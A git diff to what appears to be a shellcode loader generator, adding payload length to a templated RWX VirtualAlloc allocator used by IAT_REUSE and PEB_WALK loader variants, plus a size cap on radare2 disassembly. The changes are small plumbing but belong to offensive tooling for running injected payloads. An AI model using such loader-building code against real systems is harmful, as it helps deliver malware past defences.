diff --git a/phases/templater.py b/phases/templater.py
index 14a6ac8..ec0fe54 100644
--- a/phases/templater.py
+++ b/phases/templater.py
@@ -23,6 +23,7 @@ def create_c_from_template(
     alloc_style: AllocStyle, 
     exec_style: ExecStyle,
     decoder_style: DecoderStyle,
+    payload_len: int,
 ):
     plugin_allocator = ""
     plugin_decoder = ""
@@ -31,6 +32,9 @@ def create_c_from_template(
     filepath = "plugins/allocator/{}.c".format(alloc_style.value)
     with open(filepath, "r", encoding='utf-8') as file:
         plugin_allocator = file.read()
+        plugin_allocator = Template(plugin_allocator).render({
+                'PAYLOAD_LEN': payload_len,
+        })
 
     filepath = "plugins/decoder/{}.c".format(decoder_style.value)
     with open(filepath, "r", encoding='utf-8') as file:
diff --git a/plugins/allocator/rwx_1.c b/plugins/allocator/rwx_1.c
index fb6ffa8..559bb4b 100644
--- a/plugins/allocator/rwx_1.c
+++ b/plugins/allocator/rwx_1.c
@@ -1 +1 @@
-    char *dest = VirtualAlloc(NULL, 4096, 0x3000, 0x40);
\ No newline at end of file
+    char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
\ No newline at end of file
diff --git a/r2helper.py b/r2helper.py
index 98abe88..9f6938c 100644
--- a/r2helper.py
+++ b/r2helper.py
@@ -19,6 +19,11 @@ def r2_disas(data: bytes):
         f.write(data)
     code_len = len(data)
 
+    if code_len > 0x2000:
+        ret['text'] = "Code too long for r2: {}".format(code_len)
+        ret['color'] = "Code too long for r2: {}".format(code_len)
+        return ret
+
     r2 = r2pipe.open(filename, flags=['-2'])
     r2.cmd('aaa')
 
diff --git a/supermega.py b/supermega.py
index 2b8e671..111b488 100644
--- a/supermega.py
+++ b/supermega.py
@@ -125,6 +125,7 @@ def start():
         alloc_style  = project.alloc_style,
         exec_style   = project.exec_style,
         decoder_style= project.decoder_style,
+        payload_len  = len(project.payload_data),
     )
     # Compile: IAT_REUSE loader C -> ASM
     if project.generate_asm_from_c:
@@ -153,6 +154,7 @@ def start():
             alloc_style  = project.alloc_style,
             exec_style   = project.exec_style,
             decoder_style= project.decoder_style,
+            payload_len  = len(project.payload_data),
         )
         # Compile: PEB_WALK C -> ASM
         if project.generate_asm_from_c: